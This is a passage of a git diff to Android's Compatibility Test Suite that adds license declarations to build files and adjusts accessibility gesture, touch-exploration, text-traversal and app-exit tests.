     name: "CtsAccelerationTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/accessibility/Android.bp b/tests/accessibility/Android.bp
index 1512068..91ce26b 100644
--- a/tests/accessibility/Android.bp
+++ b/tests/accessibility/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library_static {
     name: "CtsAccessibilityCommon",
     sdk_version: "test_current",
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
index 2c8535d..2fb7916 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
@@ -50,6 +50,20 @@
  */
 @RunWith(AndroidJUnit4.class)
 public class AccessibilityServiceInfoTest {
+    private static final int FLAGS_MASK = AccessibilityServiceInfo.DEFAULT
+            | AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS
+            | AccessibilityServiceInfo.FLAG_REQUEST_ENHANCED_WEB_ACCESSIBILITY
+            | AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS
+            | AccessibilityServiceInfo.FLAG_ENABLE_ACCESSIBILITY_VOLUME
+            | AccessibilityServiceInfo.FLAG_REQUEST_ACCESSIBILITY_BUTTON
+            | AccessibilityServiceInfo.FLAG_REQUEST_FINGERPRINT_GESTURES
+            | AccessibilityServiceInfo.FLAG_SERVICE_HANDLES_DOUBLE_TAP
+            | AccessibilityServiceInfo.FLAG_REQUEST_MULTI_FINGER_GESTURES
+            | AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE
+            | AccessibilityServiceInfo.FLAG_REQUEST_FILTER_KEY_EVENTS
+            | AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS
+            | AccessibilityServiceInfo.FLAG_REQUEST_SHORTCUT_WARNING_DIALOG_SPOKEN_FEEDBACK;
+
     private AccessibilityManager mAccessibilityManager;
     private PackageManager mPackageManager;
 
@@ -102,13 +116,16 @@
         final AccessibilityServiceInfo speakingService = enabledServices.get(0);
         assertSame(AccessibilityEvent.TYPES_ALL_MASK, speakingService.eventTypes);
         assertSame(AccessibilityServiceInfo.FEEDBACK_SPOKEN, speakingService.feedbackType);
-        assertEquals(AccessibilityServiceInfo.DEFAULT
+
+        int serviceFlags = AccessibilityServiceInfo.DEFAULT
                 | AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS
                 | AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE
                 | AccessibilityServiceInfo.FLAG_REQUEST_FILTER_KEY_EVENTS
                 | AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS
-                | AccessibilityServiceInfo.FLAG_REQUEST_SHORTCUT_WARNING_DIALOG_SPOKEN_FEEDBACK,
-                speakingService.flags);
+                | AccessibilityServiceInfo.FLAG_REQUEST_SHORTCUT_WARNING_DIALOG_SPOKEN_FEEDBACK;
+
+        assertEquals(speakingService.flags & FLAGS_MASK, serviceFlags);
+
         assertSame(/* expected= */ 0l, speakingService.notificationTimeout);
         assertEquals(/* expected= */ "Some description", speakingService.getDescription());
         assertNull(speakingService.packageNames /*all packages*/);
diff --git a/tests/accessibilityservice/Android.bp b/tests/accessibilityservice/Android.bp
index 0f7db14..3f5d8c7 100644
--- a/tests/accessibilityservice/Android.bp
+++ b/tests/accessibilityservice/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsAccessibilityServiceTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/accessibilityservice/AndroidManifest.xml b/tests/accessibilityservice/AndroidManifest.xml
index ff2fed4..cdc8a64 100644
--- a/tests/accessibilityservice/AndroidManifest.xml
+++ b/tests/accessibilityservice/AndroidManifest.xml
@@ -65,6 +65,7 @@
         <activity
             android:label="Full screen activity for gesture dispatch testing"
             android:name=".AccessibilityGestureDispatchTest$GestureDispatchActivity"
+            android:theme="@style/Theme_NoSwipeDismiss"
             android:screenOrientation="locked" />
 
         <activity
diff --git a/tests/accessibilityservice/AndroidTest.xml b/tests/accessibilityservice/AndroidTest.xml
index 19d406c..d79d927 100644
--- a/tests/accessibilityservice/AndroidTest.xml
+++ b/tests/accessibilityservice/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="cmd accessibility set-bind-instant-service-allowed true" />
         <option name="teardown-command" value="cmd accessibility set-bind-instant-service-allowed false" />
diff --git a/tests/accessibilityservice/res/values/styles.xml b/tests/accessibilityservice/res/values/styles.xml
new file mode 100644
index 0000000..77c0405
--- /dev/null
+++ b/tests/accessibilityservice/res/values/styles.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+<resources>
+    <style name="Theme_NoSwipeDismiss">
+        <item name="android:windowSwipeToDismiss">false</item>
+    </style>
+</resources>
\ No newline at end of file
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
old mode 100644
new mode 100755
index b9e7c74..37a4997
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
@@ -70,7 +70,10 @@
 
     // Constants
     private static final float GESTURE_LENGTH_INCHES = 1.0f;
-    private static final long STROKE_MS = 400;
+    // The movement should exceed the threshold 1 cm in 150 ms defined in Swipe.java. It means the
+    // swipe velocity in testing should be greater than 2.54 cm / 381 ms. Therefore the
+    // duration should be smaller than 381.
+    private static final long STROKE_MS = 380;
     private static final long GESTURE_DISPATCH_TIMEOUT_MS = 3000;
     private static final long EVENT_DISPATCH_TIMEOUT_MS = 3000;
     private static final PointF FINGER_OFFSET_PX = new PointF(100f, -50f);
@@ -132,8 +135,11 @@
         mCenter = new Point((int) metrics.widthPixels / 2, (int) metrics.heightPixels / 2);
         mTapLocation = new PointF(mCenter);
         mStrokeLenPxX = (int) (GESTURE_LENGTH_INCHES * metrics.xdpi);
-        mStrokeLenPxY = (int) (GESTURE_LENGTH_INCHES * metrics.ydpi);
-        mScreenBigEnough = (metrics.widthPixels / (2 * metrics.xdpi) > GESTURE_LENGTH_INCHES);
+        // The threshold is determined by xdpi.
+        mStrokeLenPxY = mStrokeLenPxX;
+        final boolean screenWideEnough = metrics.widthPixels / 2 > mStrokeLenPxX;
+        final boolean screenHighEnough =  metrics.heightPixels / 2 > mStrokeLenPxY;
+        mScreenBigEnough = screenWideEnough && screenHighEnough;
         if (!mScreenBigEnough) {
             return;
         }
@@ -286,23 +292,6 @@
                 displayId);
 
         testGesture(
-                MultiFingerSwipe(displayId, 2, 0, dy),
-                AccessibilityService.GESTURE_2_FINGER_SWIPE_DOWN,
-                displayId);
-        testGesture(
-                MultiFingerSwipe(displayId, 2, -dx, 0),
-                AccessibilityService.GESTURE_2_FINGER_SWIPE_LEFT,
-                displayId);
-        testGesture(
-                MultiFingerSwipe(displayId, 2, dx, 0),
-                AccessibilityService.GESTURE_2_FINGER_SWIPE_RIGHT,
-                displayId);
-        testGesture(
-                MultiFingerSwipe(displayId, 2, 0, -dy),
-                AccessibilityService.GESTURE_2_FINGER_SWIPE_UP,
-                displayId);
-
-        testGesture(
                 MultiFingerSwipe(displayId, 3, 0, dy),
                 AccessibilityService.GESTURE_3_FINGER_SWIPE_DOWN,
                 displayId);
@@ -412,6 +401,8 @@
     @Test
     @AppModeFull
     public void testVerifyGestureTouchEventOnVirtualDisplay() throws Exception {
+        assumeTrue(sInstrumentation.getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS));
         if (!mHasTouchScreen || !mScreenBigEnough) {
             return;
         }
@@ -482,6 +473,8 @@
     @Test
     @AppModeFull
     public void testDispatchGesture_privateDisplay_gestureCancelled() throws Exception{
+        assumeTrue(sInstrumentation.getContext().getPackageManager()
+            .hasSystemFeature(PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS));
         if (!mHasTouchScreen || !mScreenBigEnough) {
             return;
         }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java
index ead2e7a..c524c2a 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java
@@ -1046,15 +1046,6 @@
         assertEquals(3, Selection.getSelectionStart(editText.getText()));
         assertEquals(3, Selection.getSelectionEnd(editText.getText()));
 
-        // Unfocus the view so we can get rid of the soft-keyboard.
-        sInstrumentation.runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                editText.clearFocus();
-                editText.setFocusable(false);
-            }
-        });
-
         // Move to the previous character and wait for an event.
         AccessibilityEvent seventhExpected = sUiAutomation
                 .executeAndWaitForEvent(new Runnable() {
@@ -2048,15 +2039,6 @@
         assertEquals(11, Selection.getSelectionStart(editText.getText()));
         assertEquals(11, Selection.getSelectionEnd(editText.getText()));
 
-        // Unfocus the view so we can get rid of the soft-keyboard.
-        sInstrumentation.runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                editText.clearFocus();
-                editText.setFocusable(false);
-            }
-        });
-
         // Move to the previous word and wait for an event.
         AccessibilityEvent seventhExpected = sUiAutomation
                 .executeAndWaitForEvent(new Runnable() {
@@ -2801,15 +2783,6 @@
         assertEquals(34, Selection.getSelectionStart(editText.getText()));
         assertEquals(34, Selection.getSelectionEnd(editText.getText()));
 
-        // Unocus the view so we can hide the keyboard.
-        sInstrumentation.runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                editText.clearFocus();
-                editText.setFocusable(false);
-            }
-        });
-
         // Move to the previous line and wait for an event.
         AccessibilityEvent seventhExpected = sUiAutomation
                 .executeAndWaitForEvent(new Runnable() {
@@ -3560,15 +3533,6 @@
         assertEquals(47, Selection.getSelectionStart(editText.getText()));
         assertEquals(47, Selection.getSelectionEnd(editText.getText()));
 
-        // Unfocus the view so we can get rid of the soft-keyboard.
-        sInstrumentation.runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                editText.clearFocus();
-                editText.setFocusable(false);
-            }
-        });
-
         // Move to the previous paragraph and wait for an event.
         AccessibilityEvent seventhExpected = sUiAutomation
                 .executeAndWaitForEvent(new Runnable() {
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
index 7663cdb..2e5ffca 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
@@ -67,6 +67,7 @@
 import android.graphics.Rect;
 import android.platform.test.annotations.AppModeFull;
 import android.test.suitebuilder.annotation.MediumTest;
+import android.text.TextUtils;
 import android.util.SparseArray;
 import android.view.Display;
 import android.view.Gravity;
@@ -225,7 +226,11 @@
             final int windowCount = windows.size();
             for (int i = 0; i < windowCount; i++) {
                 AccessibilityWindowInfo window = windows.get(i);
-
+                // Skip other Apps windows since their state might not be stable while querying.
+                if (window.getType() == AccessibilityWindowInfo.TYPE_APPLICATION
+                        && !TextUtils.equals(window.getTitle(), mActivity.getTitle())) {
+                    continue;
+                }
                 window.getBoundsInScreen(boundsInScreen);
                 assertFalse(boundsInScreen.isEmpty()); // Varies on screen size, emptiness check.
                 assertNull(window.getParent());
@@ -590,6 +595,8 @@
                             || windowingMode == WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
                 });
 
+        sUiAutomation.waitForIdle(TIMEOUT_WINDOW_STATE_IDLE, DEFAULT_TIMEOUT_MS);
+
         assertTrue(
                 sUiAutomation.performGlobalAction(
                         AccessibilityService.GLOBAL_ACTION_TOGGLE_SPLIT_SCREEN));
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
index c64eaa3..32d8a82 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
@@ -27,6 +27,7 @@
 import static android.accessibilityservice.cts.utils.GestureUtils.endTimeOf;
 import static android.accessibilityservice.cts.utils.GestureUtils.lastPointOf;
 import static android.accessibilityservice.cts.utils.GestureUtils.longClick;
+import static android.accessibilityservice.cts.utils.GestureUtils.path;
 import static android.accessibilityservice.cts.utils.GestureUtils.pointerDown;
 import static android.accessibilityservice.cts.utils.GestureUtils.pointerUp;
 import static android.accessibilityservice.cts.utils.GestureUtils.startingAt;
@@ -181,17 +182,35 @@
     public void testPanning() {
         //The minimum movement to transit to panningState.
         final float minSwipeDistance = ViewConfiguration.get(
-                mInstrumentation.getContext()).getScaledTouchSlop();
+                mInstrumentation.getContext()).getScaledTouchSlop() + 1;
         final boolean screenBigEnough = mPan > minSwipeDistance;
         if (!mHasTouchscreen || !screenBigEnough) return;
         assertFalse(isZoomed());
 
         setZoomByTripleTapping(true);
-        PointF oldCenter = mCurrentZoomCenter;
+        final PointF oldCenter = mCurrentZoomCenter;
 
-        dispatch(
-                swipe(mTapLocation, add(mTapLocation, -mPan, 0)),
-                swipe(mTapLocation2, add(mTapLocation2, -mPan, 0)));
+        // Dispatch a swipe gesture composed of two consecutive gestures; the first one to transit
+        // to panningState, and the second one to moves the window.
+        final GestureDescription.Builder builder1 = new GestureDescription.Builder();
+        final GestureDescription.Builder builder2 = new GestureDescription.Builder();
+
+        final long totalDuration = ViewConfiguration.getTapTimeout();
+        final long firstDuration = (long)(totalDuration * (minSwipeDistance / mPan));
+
+        for (final PointF startPoint : new PointF[]{mTapLocation, mTapLocation2}) {
+            final PointF midPoint = add(startPoint, -minSwipeDistance, 0);
+            final PointF endPoint = add(startPoint, -mPan, 0);
+            final StrokeDescription firstStroke = new StrokeDescription(path(startPoint, midPoint),
+                    0, firstDuration, true);
+            final StrokeDescription secondStroke = firstStroke.continueStroke(
+                    path(midPoint, endPoint), 0, totalDuration - firstDuration, false);
+            builder1.addStroke(firstStroke);
+            builder2.addStroke(secondStroke);
+        }
+
+        dispatch(builder1.build());
+        dispatch(builder2.build());
 
         waitOn(mZoomLock,
                 () -> (mCurrentZoomCenter.x - oldCenter.x
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
index 80a3054..b0f3570 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
@@ -61,6 +61,7 @@
 import android.graphics.Region;
 import android.platform.test.annotations.AppModeFull;
 import android.util.DisplayMetrics;
+import android.util.TypedValue;
 import android.view.Display;
 import android.view.View;
 import android.view.ViewConfiguration;
@@ -86,7 +87,7 @@
 @AppModeFull
 public class TouchExplorerTest {
     // Constants
-    private static final float GESTURE_LENGTH_INCHES = 1.0f;
+    private static final float GESTURE_LENGTH_MMS = 10.0f;
     private TouchExplorationStubAccessibilityService mService;
     private Instrumentation mInstrumentation;
     private UiAutomation mUiAutomation;
@@ -114,8 +115,7 @@
     public final RuleChain mRuleChain =
             RuleChain.outerRule(mActivityRule).around(mServiceRule).around(mDumpOnFailureRule);
 
-    Point mCenter; // Center of screen. Gestures all start from this point.
-    PointF mTapLocation;
+    PointF mTapLocation; // Center of activity. Gestures all start from around this point.
     float mSwipeDistance;
     View mView;
 
@@ -129,17 +129,19 @@
         mHasTouchscreen =
                 pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
                         || pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
-        // Find screen size, check that it is big enough for gestures.
-        // Gestures will start in the center of the screen, so we need enough horiz/vert space.
+        // Find window size, check that it is big enough for gestures.
+        // Gestures will start in the center of the window, so we need enough horiz/vert space.
+        mService = mServiceRule.enableService();
+        mView = mActivityRule.getActivity().findViewById(R.id.full_screen_text_view);
         WindowManager windowManager =
                 (WindowManager)
                         mInstrumentation.getContext().getSystemService(Context.WINDOW_SERVICE);
         final DisplayMetrics metrics = new DisplayMetrics();
         windowManager.getDefaultDisplay().getRealMetrics(metrics);
-        mScreenBigEnough = (metrics.widthPixels / (2 * metrics.xdpi) > GESTURE_LENGTH_INCHES);
+        mScreenBigEnough = mView.getWidth() / 2 >  TypedValue.applyDimension(
+                TypedValue.COMPLEX_UNIT_MM, GESTURE_LENGTH_MMS, metrics);
         if (!mHasTouchscreen || !mScreenBigEnough) return;
-        mService = mServiceRule.enableService();
-        mView = mActivityRule.getActivity().findViewById(R.id.full_screen_text_view);
+
         mView.setOnHoverListener(mHoverListener);
         mView.setOnTouchListener(mTouchListener);
         mInstrumentation.runOnMainSync(
@@ -149,9 +151,8 @@
                     final int midX = mView.getWidth() / 2;
                     final int midY = mView.getHeight() / 2;
                     mView.getLocationOnScreen(viewLocation);
-                    mCenter = new Point(viewLocation[0] + midX, viewLocation[1] + midY);
-                    mTapLocation = new PointF(mCenter);
-                    mSwipeDistance = (viewLocation[0] + mView.getWidth()) / 4;
+                    mTapLocation = new PointF(viewLocation[0] + midX, viewLocation[1] + midY);
+                    mSwipeDistance = mView.getWidth() / 4;
                     mSwipeTimeMillis = (long) mSwipeDistance * 4;
                     mView.setOnClickListener(mClickListener);
                     mView.setOnLongClickListener(mLongClickListener);
@@ -482,7 +483,7 @@
     @AppModeFull
     public void testGestureDetectionPassthrough_initiatesTouchExploration() {
         if (!mHasTouchscreen || !mScreenBigEnough) return;
-        setRightSideOfScreenGestureDetectionPassthrough();
+        setRightSideOfActivityWindowGestureDetectionPassthrough();
         // Swipe in the passthrough region. This should generate hover events.
         dispatch(swipe(mTapLocation, add(mTapLocation, mSwipeDistance, 0)));
         mHoverListener.assertPropagated(ACTION_HOVER_ENTER, ACTION_HOVER_MOVE, ACTION_HOVER_EXIT);
@@ -524,7 +525,7 @@
     @AppModeFull
     public void testTouchExplorationPassthrough_sendsTouchEvents() {
         if (!mHasTouchscreen || !mScreenBigEnough) return;
-        setRightSideOfScreenTouchExplorationPassthrough();
+        setRightSideOfActivityWindowTouchExplorationPassthrough();
         // Swipe in the passthrough region. This should generate  touch events.
         dispatch(swipe(mTapLocation, add(mTapLocation, mSwipeDistance, 0)));
         mTouchListener.assertPropagated(ACTION_DOWN, ACTION_MOVE, ACTION_UP);
@@ -576,16 +577,16 @@
                 });
     }
 
-    private void setRightSideOfScreenGestureDetectionPassthrough() {
-        Region region = getRightSideOfScreenRegion();
+    private void setRightSideOfActivityWindowGestureDetectionPassthrough() {
+        Region region = getRightSideOfActivityWindowRegion();
         mService.runOnServiceSync(
                 () -> {
                     mService.setGestureDetectionPassthroughRegion(Display.DEFAULT_DISPLAY, region);
                 });
     }
 
-    private void setRightSideOfScreenTouchExplorationPassthrough() {
-        Region region = getRightSideOfScreenRegion();
+    private void setRightSideOfActivityWindowTouchExplorationPassthrough() {
+        Region region = getRightSideOfActivityWindowRegion();
         mService.runOnServiceSync(
                 () -> {
                     mService.setTouchExplorationPassthroughRegion(Display.DEFAULT_DISPLAY, region);
@@ -602,16 +603,14 @@
                 });
     }
 
-    private Region getRightSideOfScreenRegion() {
-        WindowManager windowManager =
-                (WindowManager)
-                        mInstrumentation.getContext().getSystemService(Context.WINDOW_SERVICE);
-        final DisplayMetrics metrics = new DisplayMetrics();
-        windowManager.getDefaultDisplay().getRealMetrics(metrics);
-        int top = 0;
-        int left = metrics.widthPixels / 2;
-        int right = metrics.widthPixels;
-        int bottom = metrics.heightPixels;
+    private Region getRightSideOfActivityWindowRegion() {
+        int[] viewLocation = new int[2];
+        mView.getLocationOnScreen(viewLocation);
+
+        int top = viewLocation[1];
+        int left = viewLocation[0]  + mView.getWidth() / 2;
+        int right = viewLocation[0]  + mView.getWidth();
+        int bottom = viewLocation[1] + mView.getHeight();
         Region region = new Region(left, top, right, bottom);
         return region;
     }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/AccessibilityTextTraversalActivity.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/AccessibilityTextTraversalActivity.java
index 2cd28c5..aba32d2 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/AccessibilityTextTraversalActivity.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/AccessibilityTextTraversalActivity.java
@@ -15,6 +15,7 @@
 package android.accessibilityservice.cts.activities;
 
 import android.os.Bundle;
+import android.view.WindowManager;
 
 import android.accessibilityservice.cts.R;
 
@@ -28,5 +29,7 @@
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.accessibility_text_traversal_test);
+        getWindow().setSoftInputMode(
+            WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN);
     }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
index 44fd804..34b3fc8 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
@@ -279,8 +279,8 @@
                     AccessibilityNodeInfo node = event.getSource();
                     if (node != null) {
                         final AccessibilityWindowInfo window = node.getWindow();
-                        if(TextUtils.equals(activityTitle, window.getTitle())) {
-                            return  true;
+                        if(!TextUtils.equals(activityTitle, window.getTitle())) {
+                            return  false;
                         }
                     }
                     final AccessibilityWindowInfo window =
diff --git a/tests/accessibilityservice/test-apps/WidgetProvider/Android.bp b/tests/accessibilityservice/test-apps/WidgetProvider/Android.bp
index 960d96b..a885b05 100644
--- a/tests/accessibilityservice/test-apps/WidgetProvider/Android.bp
+++ b/tests/accessibilityservice/test-apps/WidgetProvider/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAccessibilityWidgetProvider",
     defaults: ["cts_support_defaults"],
diff --git a/tests/accessibilityservice/testsdk29/Android.bp b/tests/accessibilityservice/testsdk29/Android.bp
index 973bd71..3dc73ad 100644
--- a/tests/accessibilityservice/testsdk29/Android.bp
+++ b/tests/accessibilityservice/testsdk29/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsAccessibilityServiceSdk29TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/admin/Android.bp b/tests/admin/Android.bp
index a9bf3c3..76a3c14 100644
--- a/tests/admin/Android.bp
+++ b/tests/admin/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsAdminTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/admin/app/Android.bp b/tests/admin/app/Android.bp
index 23f2cef..970dc3b 100644
--- a/tests/admin/app/Android.bp
+++ b/tests/admin/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAdminApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/app/ActivityManagerApi29Test/Android.bp b/tests/app/ActivityManagerApi29Test/Android.bp
index b724d98..5418a8c 100644
--- a/tests/app/ActivityManagerApi29Test/Android.bp
+++ b/tests/app/ActivityManagerApi29Test/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsActivityManagerApi29",
     defaults: ["cts_support_defaults"],
diff --git a/tests/app/Android.bp b/tests/app/Android.bp
index 6428109..bc5125a 100644
--- a/tests/app/Android.bp
+++ b/tests/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsAppTestCases",
     defaults: ["cts_defaults"],
@@ -33,7 +37,10 @@
         "platformprotosnano",
         "permission-test-util-lib"
     ],
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java",
+        "NotificationListener/src/com/android/test/notificationlistener/INotificationUriAccessService.aidl",
+    ],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
@@ -126,11 +133,14 @@
         "compatibility-device-util-axt",
         "CtsExternalServiceCommon",
         "cts-wm-util",
+        "libprotobuf-java-lite",
     ],
     srcs: [
+        ":libtombstone_proto-src",
         "AppExitTest/src/**/*.java",
         "src/android/app/cts/android/app/cts/tools/WatchUidRunner.java",
     ],
+    jarjar_rules: "AppExitTest/jarjar-rules.txt",
     test_suites: [
         "cts",
         "general-tests",
diff --git a/tests/app/AndroidTest.xml b/tests/app/AndroidTest.xml
index 645d233..465b633 100644
--- a/tests/app/AndroidTest.xml
+++ b/tests/app/AndroidTest.xml
@@ -33,6 +33,8 @@
         <option name="test-file-name" value="CtsCantSaveState1.apk" />
         <option name="test-file-name" value="CtsCantSaveState2.apk" />
         <option name="test-file-name" value="NotificationDelegator.apk" />
+        <option name="test-file-name" value="NotificationProvider.apk" />
+        <option name="test-file-name" value="NotificationListener.apk" />
         <option name="test-file-name" value="StorageDelegator.apk" />
         <option name="test-file-name" value="CtsActivityManagerApi29.apk" />
     </target_preparer>
diff --git a/tests/app/AppExitTest/jarjar-rules.txt b/tests/app/AppExitTest/jarjar-rules.txt
new file mode 100644
index 0000000..88da88e
--- /dev/null
+++ b/tests/app/AppExitTest/jarjar-rules.txt
@@ -0,0 +1 @@
+rule com.android.server.os.** android.app.cts.appexit.@1
diff --git a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
index c3fcf4c..77973bb 100644
--- a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
+++ b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
@@ -59,9 +59,11 @@
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.internal.util.ArrayUtils;
 import com.android.internal.util.MemInfoReader;
+import com.android.server.os.TombstoneProtos.Tombstone;
 
 import java.io.BufferedInputStream;
 import java.io.IOException;
+import java.io.InputStream;
 import java.util.ArrayList;
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
@@ -101,7 +103,7 @@
     private static final int EXIT_CODE = 123;
     private static final int CRASH_SIGNAL = OsConstants.SIGSEGV;
 
-    private static final int WAITFOR_MSEC = 5000;
+    private static final int WAITFOR_MSEC = 10000;
     private static final int WAITFOR_SETTLE_DOWN = 2000;
 
     private static final int CMD_PID = 1;
@@ -832,6 +834,21 @@
         assertTrue(list != null && list.size() == 1);
         verify(list.get(0), mStubPackagePid, mStubPackageUid, STUB_PACKAGE_NAME,
                 ApplicationExitInfo.REASON_CRASH_NATIVE, null, null, now, now2);
+
+        InputStream trace = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                list.get(0),
+                (i) -> {
+                    try {
+                        return i.getTraceInputStream();
+                    } catch (IOException ex) {
+                        return null;
+                    }
+                },
+                android.Manifest.permission.DUMP);
+
+        assertNotNull(trace);
+        Tombstone tombstone = Tombstone.parseFrom(trace);
+        assertEquals(tombstone.getPid(), mStubPackagePid);
     }
 
     public void testUserRequested() throws Exception {
diff --git a/tests/app/BadProviderStubs/Android.bp b/tests/app/BadProviderStubs/Android.bp
index 4bb23ed..1c4fca0 100644
--- a/tests/app/BadProviderStubs/Android.bp
+++ b/tests/app/BadProviderStubs/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
